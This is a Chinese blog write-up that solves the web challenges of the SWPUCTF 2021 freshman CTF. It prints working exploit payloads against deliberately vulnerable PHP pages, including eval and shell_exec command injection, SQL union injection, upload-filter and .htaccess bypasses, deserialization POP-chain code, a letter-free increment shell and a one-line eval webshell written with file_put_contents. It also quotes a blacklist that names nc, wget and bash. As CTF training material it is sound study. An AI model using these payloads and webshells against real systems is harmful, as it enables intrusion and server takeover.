草庐IT

SWPUCTF 2021 新生赛

YAy17 2023-04-03 原文

😋大家好,我是YAy_17,是一枚爱好网安的小白,自学ing。 

本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️

⭐️此后如竟没有炬火,我便是唯一的光。⭐️

目录

gift_F12

jicao

easy_md5

caidao

include

easyrce

easy_sql

babyrce

Do_you_know_http

ez_unserialize

easyupload1.0

easyupload2.0

easyupload3.0

no_wakeup

PseudoProtocols

error

hardrce

pop

sql

finalrce

hardrce_3


很久不学习CTF,很多知识点有点淡忘;还有最后一个phar反序列化,不太会做。

gift_F12

先听听歌吧ovo 查看源代码:

jicao

 <?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
	if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
	}
	else {
    echo 'wrong!';
}
?>

考察md5弱类型碰撞:

        弱类型比较的时候,会把0exxxx当作科学计数法,不管后面的值为任何东西,0的任何次幂都为0

一些字符串md5值以0e开头

QNKCDZO
240610708
s878926199a
s155964671a
s21587387a

        数组绕过

md5()函数计算的是一个字符串的哈希值,对于数组则返回false

a[]=1&b[]=2

caidao

直接连蚁剑,翻目录,找flag;

include

传参数file之后,代码审计:

题目提示我们LFI,尝试使用php://filter伪协议读取文件的内容:

尝试使用base64解码,得到答案;

easyrce

<?php
	error_reporting(0);
	highlight_file(__FILE__);
	if(isset($_GET['url'])){
		eval($_GET['url']);
	}
?>

rce,直接命令执行即可,直接传url=system("cat / flllllaaaaaaggggggg");

easy_sql

随便传了一个参数a,但是没反应,看看源代码,发现了在源代码中,存在着提示“参数是wllm”

题目是SQL注入,先判断注入类型。

?wllm=-1' union select 1,database(),3--+

之后就是正常的SQL注入了;

?wllm=-1' union select 1,(select flag from test_tb),3--+

babyrce

 <?php
	error_reporting(0);
	header("Content-Type:text/html;charset=utf-8");
	highlight_file(__FILE__);
	if($_COOKIE['admin']==1) {
    include "../next.php";
	}else
    echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!

提示rasalghul.php,访问一下:

 <?php
	error_reporting(0);
	highlight_file(__FILE__);
	error_reporting(0);
	if (isset($_GET['url'])) {
  	$ip=$_GET['url'];
  	if(preg_match("/ /", $ip)){
      	die('nonono');
  	}
  	$a = shell_exec($ip);
  	echo $a;
}
?> 

正则过滤空格,命令执行,用${IFS}来绕过 (还可以通过%3c %09绕过)

ls${IFS}/

Do_you_know_http

通过Brup来改数据包信息:

继续改X-Forwarded-For

ez_unserialize

看看源代码先:

提示了,看看robots.txt:

访问这个php文件,出现反序列化的代码审计:

 <?php
	error_reporting(0);
	show_source("cl45s.php");	
	class wllm{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }
    public function __destruct(){
    if($this->admin === "admin" && $this->passwd === "ctf"){
       include("flag.php");
       echo $flag;
    }else{
       echo $this->admin;
       echo $this->passwd;
       echo "Just a bit more!";
        }
    }
}
$p = $_GET['p'];
unserialize($p);
?> 
<?php

class wllm{

     public $admin="admin";

    public $passwd="ctf";

}

$p = new wllm();

var_dump(serialize($p));

?>

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

easyupload1.0

文件上传:

尝试上传php文件,但是发现失败了,接着改后缀名为jpg,发现还是不行,发现MIME信息还是php的相关信息,尝试改为jpg的MIME头;依然保留php后缀名,发现上传成功:

之后连马,或者命令执行都可!

哎?发现不是正确答案,看看phpinfo(),才发现了正确答案;

easyupload2.0

继续先用上个payload继续打;

哦 不让上传php了,其他的后缀可以先试试;发现php3是不可以的,但是pht还是可以正常上传的!

easyupload3.0

提示使用.htaccess文件上传漏洞:

构造.htaccess文件:

<FilesMatch "jpg">

SetHandler application/x-httpd-php

</FilesMatch>

以上代码,表示将jpg文件解析为php文件;

直接上传该文件,之后上传一张jpg后缀的文件,文件内容就是一句话木马;

上传图片:

用蚁剑直接连接jpg文件;

no_wakeup

 <?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{
        public $admin;
        public $passwd;
        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }
        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }
        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?> 

绕过wakeup函数即可!

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

PseudoProtocols

题目提示使用php伪协议;

wllm=php://filter/convert.base64-encode/resource=hint.php

得到上述结果,使用base64解码;得到提示:

访问上述界面,得到:

<?php
	ini_set("max_execution_time", "180");
	show_source(__FILE__);
	include('flag.php');
	$a= $_GET["a"];
	if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    	echo "success\n";
    	echo $flag;
	}
?> 

大概就是GET方式传参a,a参数利用file_get_contents以只读的方式打开,打开后的内容与I want flag内容一致;

两种方法:

  • data://text/plain

data伪协议,此协议需要在allow_url_fopen和allow_url_include全部为ON的状态下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入;

用法:data://text/plain;base64,base64编码字符

payload为:a=data://text/plain,I want flag

  • php://input

php://input协议需要在allow_url_include为ON的状态下使用,可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

使用方法:php://input,然后post需要执行的数据

我没打通,我不明白这是为什么....

error

输入id为1:

id为2:

id为1的时候,源代码中存在着提示,单引号闭合;结合题目提示报错注入:

爆表名:

最终爆flag(列名没写,都一样):

hardrce

首先是判断这个题目对应的PHP版本,发现是php7版本:

附上P神的博客:

一些不包含数字和字母的webshell | 离别歌

无字母数字webshell之提高篇 | 离别歌

详见无数字字母webshell总结;

pop

 <?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

该题目中涉及到的魔术方法有两个toString和destruct,构造pop链的关键是紧盯魔术方法,找到pop链的头部和尾部,可以看到GET方式传参w00m,也就是pop链的头部,然后就是尾部,尾部就是能够达到恶意攻击的地方,在上述的题目中,清晰可见:w44m类中存在着一个方法GETflag方法,便可输出最终的flag。因此这也是我们的pop链的尾部;

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

w44m类中两个变量的属性并不是共有属性,而是私有属性和保护属性,无法在创建对象的时候,进行赋值;因此我们就直接在类中进行赋值;

接下来思考,如何去调用w44m类中的Getflag方法呢?我们会发现在w33m类中存在tostring方法,可以调用某一个类中的某一个方法。因此我们可以w33m类中的两个变量w00m赋值为w44m类名,w22m赋值为Getflag方法;那么接下来就是去思考怎么去调用w33m类呢?destruct会在对象被销毁时调用,因此只要给w22m类中的w00m变量一个类w33m就可以实现调用;

因此最终的pop链如下:

<?php
class w44m{
    private $admin = 'w00m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}
$a = new w22m();
$a->w00m = new w33m();
$a->w00m->w00m = new w44m();
$a->w00m->w22m = "Getflag";
echo urlencode(serialize($a));
?>

sql

随便输入了id=1,但是还是上述界面,看一下源代码:发现参数为wllm;

注入过程中发现“--+”以及空格被绕过,注释的话使用#编码绕过即可,空格的话用/**/来绕过。

接下来就是爆数据库名,表名、列明以及最终的数据;

爆出数据库名之后,在查询表名的时候,发现=也被过滤了,可以用like来代替;

在获取最终的数据的时候,发现被截断了:

但是使用substr()函数的时候,发现该函数还被过滤了。还可以用mid函数:

最终可以得到flag

finalrce

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
}

该题目利用了写文件的方法;但是题目中过滤了“>”符号,涉及到知识盲区了,还可以用tee命令:

tee命令用于将标准输入复制到每个指定文件,并显示到标准输出。tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

payload:url=l``s / | tee a.txt

发现两个flag可疑的地方;看到题目中过滤la,尝试访问/flllllaaaaaaggggggg,“*”号被过滤,还可以用“?”

?url=ca``t /flllll????????????? | tee a.txt

成功访问到flag;

hardrce_3

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\^','\~','\|'];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
    }}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
    die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 

不能用异或和取反了,还可以用自增:

<?php

$_=''.[];
$__=$_[$___];
$_=$__;
$___=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___.=$_;
$___.=$_;
$_=$__;
$_++;$_++;$_++;$_++;
$___.=$_;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___.=$_;
$_++;$_++;
$___.=$_;
$____='_';
$_=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____.=$_;
$_=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____.=$_;
$_=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____.=$_;$_++;$____.=$_;
$_=$$____;
$___($_[_]);

但是不能执行system();发现phpinfo中的disabled_function过滤了很多函数:

命令执行函数不能用了;没有过滤file_put_contents(),写马再连;

_=file_put_contents('1.php','<?php eval($_POST[x]);?>');

有关SWPUCTF 2021 新生赛的更多相关文章

  1. 中国民用飞机制造行业市场现状规模及发展战略规划报告2021-2027年 - 2

    中国民用飞机制造行业市场现状规模及发展战略规划报告2021-2027年详情内容请咨询鸿晟信合研究院!【全新修订】:2022年2月【撰写单位】:鸿晟信合研究研究【报告目录】第1章:中国民用飞机制造行业发展综述1.1民用飞机制造行业概述1.1.1民用飞机的概念1.1.2飞机制造的概念1.1.3民用飞机的分类1.2民机制造行业周期特性1.2.1影响行业周期的因素(1)GDP增速分析(2)运量增量分析(3)飞机更替分析(4)航空公司获利水平1.2.2行业现阶段周期分析1.2.3行业现阶段景气分析1.3民机制造信息化分析1.3.1信息化技术应用状况分析(1)MDO技术应用分析(2)供应链协同研发分析(3

  2. 震惊!原来查找论文这么简单?再也不用担心组会不知道汇报啥了!计算机硕士新生人手必备不可不看 - 2

    目录一种简单上手的暴力论文分析方法——以区块链为例【含项目源码】太长不看版本:最终成果:情况说明论文推荐方面论文投稿方面以下是具体的实现,有其他研究方向想自行确定的请仔细阅读,授人以鱼不如授人以渔第一章、确定对象——研究热点的中国计算机研究生第二章、思路——基于爬虫结合关键字过滤暴力获取所需论文信息第一步:从CCF推荐目录中获取网址01、背景介绍02、数据预处理03、数据写入表格第二步:从中科院分区中获取期刊对应分区第三步:从期刊/会议对应网址中爬取到子网页并进入,获取到其中的标题、年份等信息第四步:针对获取到的表格数据进行分析和整理实际爬取数据量【其实就论文的标题+对应年份】

  3. [2021] 完美解决Unable to find image ‘hello-world:latest‘ locally 问题 - 2

    安装Docker出现的问题相信大家查询了很多的回答里面都是需要修改阿里镜像源,但是修改之后却无用。这是因为阿里那个源对于每个人来说都需要专属源。详细的内容可以参考菜鸟教程里的回答:菜鸟教程更换镜像源接下来就简单的完成这个这个更换源的操作(当时花了接近3小时,害):1.首先创建deamon.json文件用来保存源vim/etc/docker/daemon.json2.添加稳定而且不经常变动的镜像源,这里选择中科大的源{"registry-mirrors":["https://docker.mirrors.ustc.edu.cn/"]}当然也可以选择其他的源:网易:https://hub-mirr

  4. 667真题 | 基于ChatGpt提供2021-2023年川大667分析题答题思路 - 2

    文章目录ChatGpt简介2021为四川大学图书馆设计“以xxx的读书之道”为主题的阅读推广活动图书情报档案事业在shisiwu期间的发展定位,发展重点的认识图书情报档案工作在新时代建设文化强国的功能、作用和发展路径的认识当今网络环境下社会大众的网络信息行为对现代图书情报服务的影响认识《图书馆学五定律》在大数据时代图书情报档案管理服务中的适用性和发展性的认识2022年新时代公共文化服务体系建设中发挥图书情报档案机构作用的思路和对策图书情报档案机构如何充分利用数字人文等新兴技术手段开发信息资源,提升服务能力高校图书馆大力推进机构知识库建设的意义以及在数字化建设中的作用数字中国与网络强国建设下数据

  5. 2021年中国小麦行业发展现状分析,行业种植设施化、管理进准化发展「图」 - 2

    一、概述小麦是小麦属植物的统称,代表种为普通小麦是禾本科植物,是一种在世界各地广泛种植的谷类作物,小麦的颖果是人类的主食之一,磨成面粉后可制作面包、馒头、饼干、面条等食物,发酵后可制成啤酒、酒精、白酒(如伏特加),或生物质燃料。小麦按籽粒的皮色可分为红皮小麦和白皮小麦;按籽粒的粒质可分为硬质小麦和软质小麦;按播种的季节可分为春小麦和冬小麦。小麦按不同方式分类情况​编辑添加图片注释,不超过140字(可选)资料来源:公开资料整理二、产业链小麦行业产业链上游主要为麦种、化肥、农药等行业;中游为小麦的种植;下游的应用领域主要为食品、饲料、酒类、燃料等领域。小麦行业产业链结构​编辑添加图片注释,不超过1

  6. OWASP—Top10(2021知识总结) - 2

    OWASPtop102021年版TOP10产生三个新类别,且进行了一些整合考虑到应关注根本原因而不是症状。A01:失效的访问控制​从第五位上升称为Web应用程序安全风险最严重的类别,常见的CWE包括:将敏感信息泄露给未经授权的参与者、通过发送的数据泄露敏感信息、跨站请求伪造(csrf)风险说明:​访问强制实施策略,使用户无法在其预期权限之外操作。失败的访问控制通常导致未经授权的信息泄露,修改或者销毁所有数据,或在用户权限之外执行业务功能。常见的访问控制脆弱点:违法最小权限原则或默认拒绝原则,即访问权限应只授予特定能力、角色或用户,但实际上任何人都可以访问通过修改URL(参数修改或强制浏览),内

  7. VMware ESXi OpenSLP堆溢出漏洞,附本次勒索软件ESXiArgs恶意文件分析(CNVD-2021-12321对标CVE-2021-21974) - 2

    近日以VMwareESXi服务器为目标的大规模勒索软件攻击正在席卷全球,包括法国、芬兰、加拿大、美国、意大利等多个国家数千台服务器遭到入侵。攻击者利用了2021年2月公开的高危漏洞(CNVD-2021-12321,https://www.cnvd.org.cn/flaw/show/CNVD-2021-12321),可以向WMwareESXi软件目标服务器427端口发送恶意构造的数据包,从而触发其OpenSLP服务堆缓冲区溢出,并执行任意代码,借以部署新的ESXiArgs勒索软件。一、漏洞详情VMwarevSphere是美国威睿公司推出一套服务器虚拟化解决方案,包括虚拟化、管理和界面层。VMwa

  8. windows - Leiningen 无法使用新生成的项目 - 2

    我在Windows上运行Leiningen时遇到问题(在Cygwin和CMD中)。最初我生成项目时:$leinnewappleintestGeneratingaprojectcalledleintestbasedonthe'app'template.然后我尝试运行它:$cdleintest/$leinrun$没有显示结果。-main函数有println:$catsrc/leintest/core.clj(nsleintest.core(:gen-class))(defn-main"Idon'tdoawholelot...yet."[&args](println"Hello,World!

  9. 参会记录|2021 WAIC 世界人工智能大会参会总结 - 2

    前言2021年世界人工智能大会(WAIC)于2021年7月7日至10日在上海世博展览馆举办,本届大会继续秉持「智联世界」的理念,以「众智成城」为主题,促进全球人工智能创新思想、技术、应用、人才和资本的集聚和交流,推动全球科技的创新协同,助力打造人工智能世界级产业集群。大会中的一些论坛开放线上参会入口,为参会者提供极大便利。AILIFE与世界首台咖啡制造机器人COFE+初识,有幸品尝了一杯COFE+制作的抹茶拿铁,味道尚佳。在2022年的上海书展中又与之重逢。相关视频:COFE+机器人咖啡制作流程记录观摩一场AI与电竞队伍的王者荣耀赛事,最后的结果是AI一方以23:7的战绩战胜了人类一方。相关视

  10. AI-多模态-文本->图像-2021:Stable Diffusion【开源】【目前开源模型中最强】 - 2

    最近大火的StableDiffusion也开源了(20220823);我也本地化测试了一下效果确实比Dall-Emini强太多了,对于我们这些玩不上Dall-E2的这个简直就是就是捡钱的感觉,当然后期跑起来,稍微不注意显存就炸了。这里我写一下安装过程,具体分为两个安装流程;流程1--Hubggingface的方式安装使用Huggingface的模式进行直接安装。CompVis/stable-diffusion-v1-1·HuggingFace​huggingface.co/CompVis/stable-diffusion-v1-1正在上传…重新上传取消注册第一个工作需要注册账户,可以关联git

随机推荐